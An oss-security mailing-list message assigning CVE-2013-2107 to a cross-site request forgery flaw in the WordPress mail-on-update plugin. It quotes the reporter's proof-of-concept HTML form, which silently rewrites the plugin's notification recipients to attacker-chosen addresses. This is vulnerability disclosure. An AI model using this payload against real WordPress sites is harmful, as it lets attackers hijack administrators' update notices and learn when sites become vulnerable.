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Date: Sat, 18 May 2013 00:58:07 -0600
From: Kurt Seifried <kseifried@...hat.com>
To: oss-security@...ts.openwall.com
CC: Henri Salo <henri@...v.fi>
Subject: Re: CVE request: WordPress plugin mail-on-update CSRF

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 05/16/2013 08:06 AM, Henri Salo wrote:
> Hello,
> 
> Can I get 2013 CVE for WordPress plugin mail-on-update CSRF vulnerability. PoC
> for "List of alternative recipients" below. Tested 5.1.0 version.
> 
> Homepage: http://wordpress.org/extend/plugins/mail-on-update/
> Code: http://plugins.svn.wordpress.org/mail-on-update/trunk/
> 
> <html><form action="https://example.com/wp/wp-admin/options-general.php?page=mail-on-update" method="post" class="buttom-primary">
> <input name="mailonupdate_mailto" type="hidden" value="example0@...mple.com
> example1@...mple.com
> example2@...mple.com
> example3@...mple.com
> example4@...mple.com
> example5@...mple.com
> example6@...mple.com
> example7@...mple.com
> example8@...mple.com
> example9@...mple.com
> example10@...mple.com
> henri+monkey@...v.fi" />
> <input name="submit" type="submit" value="Save"/></form></html>
> 
> If attacker adds random email to that form default user won't get emails and
> attacker might be interested to receive these as the email contains information
> of available plugin updates.
> 
> ---
> Henri Salo

Even better the remote site then notifies you when it becomes vulnerable
to a security flaw, or you can use it to spam people, or all sorts of
other annoying things.

Please use CVE-2013-2107 for this issue.



- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
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